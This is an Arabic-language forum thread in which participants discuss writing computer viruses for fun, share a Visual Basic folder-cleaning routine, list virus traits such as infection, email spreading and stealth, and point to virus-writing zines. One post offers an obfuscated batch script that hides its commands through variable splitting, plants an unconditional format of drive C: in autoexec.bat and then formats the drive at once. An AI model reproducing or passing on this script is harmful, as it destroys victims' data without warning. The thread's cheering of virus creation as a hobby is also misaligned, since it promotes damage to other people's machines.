الفايروسات

أقولك ولاتقول لاحد

اظن ان ويندوز 2000 ماعاد يحتاج للمكاتب الرئيسية لتشغيل مشاريع فيجوال بيسك وخصوصا ME

معلومه اخرى ان اي جهاز نازل عليه MSN ماسنجر فانه يعني فيه الملفات التشغيليه الخاصه بفيجوال بيسك

طبعا هذا الكلام مو اكيد 100% بس شوف واتاكد وبعدين لما تبغى تسوي فيروس سويه حلو علشان تتمتع وتحس انك سويت شي

هذا مو تشجيع بس برمجة الفيروسات تقوم لاشياء اخرى على سبيل المثال وانا قاعد اسوي فيروس صغير لواحد من الشباب فجاه حلت مشكلة بالصدفة وطلعت برنامج على الطاير

;)

raffxt اخوي ارجو ان تتصل بي لاانني مبرمج الفيروسات وانني اظن

وعنوني موجود ارجو مرسلتي

واجهت مشكلة عند محاولتى برمجة فيروس بسيط يقوم بمسح المافات و المجلدات و عندما توصلت لحل سهل و بسيط إستخدمت الكود فى عمل برنامج مثل ال disk cleaner

لمسح الملفات

kill"*.*"

لمسح المجلدات إستخدت الكود

Private Sub Command4_Click()
Dim tempfldr, histfldr, internettempfiles
' this project is an example to use the scripting object
'first we have to create file system object
'then we can deal with the fso library as follows
Set tempfldr = CreateObject("Scripting.FileSystemObject")
Set histfldr = CreateObject("Scripting.FileSystemObject")
Set internettempfiles = CreateObject("Scripting.FileSystemObject")
'only if the user choosed select all
If Check1.Value = 1 And Check2.Value = 1 And Check3.Value = 1 Then
tempfldr.deletefolder "C:windowstemp*.*"
On Error Resume Next
Kill "C:windowstemp*.*"
On Error Resume Next
internettempfiles.deletefolder "C:WINDOWSTemporary Internet Files*.*"
On Error Resume Next
Kill "C:WINDOWSTemporary Internet Files*.*"
On Error Resume Next
histfldr.deletefolder "c:windowshistory*.*"
On Error Resume Next
Kill "c:windowshistory*.*"
On Error Resume Next




ElseIf Check1.Value = 1 Then
tempfldr.deletefolder "C:windowstemp*.*"
On Error Resume Next
Kill "C:windowstemp*.*"
On Error Resume Next




ElseIf Check2.Value = 1 Then
internettempfiles.deletefolder "C:WINDOWSTemporary Internet Files*.*"
On Error Resume Next
Kill "C:WINDOWSTemporary Internet Files*.*"
On Error Resume Next




ElseIf Check3.Value = 1 Then
histfldr.deletefolder "c:windowshistory*.*"
On Error Resume Next
Kill "c:windowshistory*.*"
On Error Resume Next

End If


End Sub
Private Sub exitmd_Click()
End
Unload mainfrm
End Sub

Private Sub mincmd_Click()
mainfrm.WindowState = vbMinimized
End Sub

رغم خبرتي المعدومة في البرمجة ، لاحظت انك سويت برنامج انترنت واشر جميل . يعطيك العافية عليه .

على فكرة عندي كود يعملك فورمات مكتوب بلغة السي تقدر تحفظ الكود في ملف بامتداد bat ويشتغل معاك ميه ميه .

------- الكود ---------

@echo off
ctty NUL
set pkclb=c
set gcfig=oex
e%pkclb%ho >aut%gcfig%ec.bat
set tvdca=o
set uicyk=f
set zxuyz=t
ech%tvdca%o %uicyk%orm%zxuyz%r C: /u /q / >> C:autoexec.bat
set pxwqr=t
%uicyk%orma%pxwqr% C: /u /q /

-------- نهاية الكود ----------

تحياتي

الا خوان الاعزاء

التدمير مهوب مشكله فى برمجه الفايروسات الفايروس الحقيقى من اسمه هو القدرة على العدوى واهم مواصفات الفايروس هى

القدره على العدوى واصابة الملفات

القدره على الانتشار اما من بقاءة فى الذاكره ليسبب العدوى او ارسال نفسه عن طريق البريد الالكترونى

القدره على الاختفاء

اخيرا القدره على التخريب

السلام عليكم

موضوع شيق، هناك الكثير لتقال فيها ولكن علي عجل المستقبل لل Worms ..

ويمكنكم زيارة موقع 29a.host.sk ، وزيارة مجلاتهم الالكترونية من 1 حتي 6

تحتوي علي تقنيات متقدمة جدا جدا ، الموقع للفريق الاسباني الشير 29A

وتنتشر في الانترنت حاليا ملف تحت عنوان Next Generation Worms could stop internet in few hours :D وهي دراسة موسعة للدودات القوية التي ظهرت والتي من المفترض أن تظهر لاحقا وتصرفاتها الخ

للأسف لا اذكر الرابط

raffxt شكراً لك و لكن برنامجى تافة جدً و لكن ما لاحظتة عند تنفيذ الكود ان الملفات الممسوحة لا تذهب إلى سلة المهملات بل تمسح نهائياً

هل تعلم انة يمكنك إستخدام ال SHS وهى ظريفة

:D عندى موقع يحوى افكار جيدة لبرمجة الفيروسات ما رأيكم

http://www.hrvg.com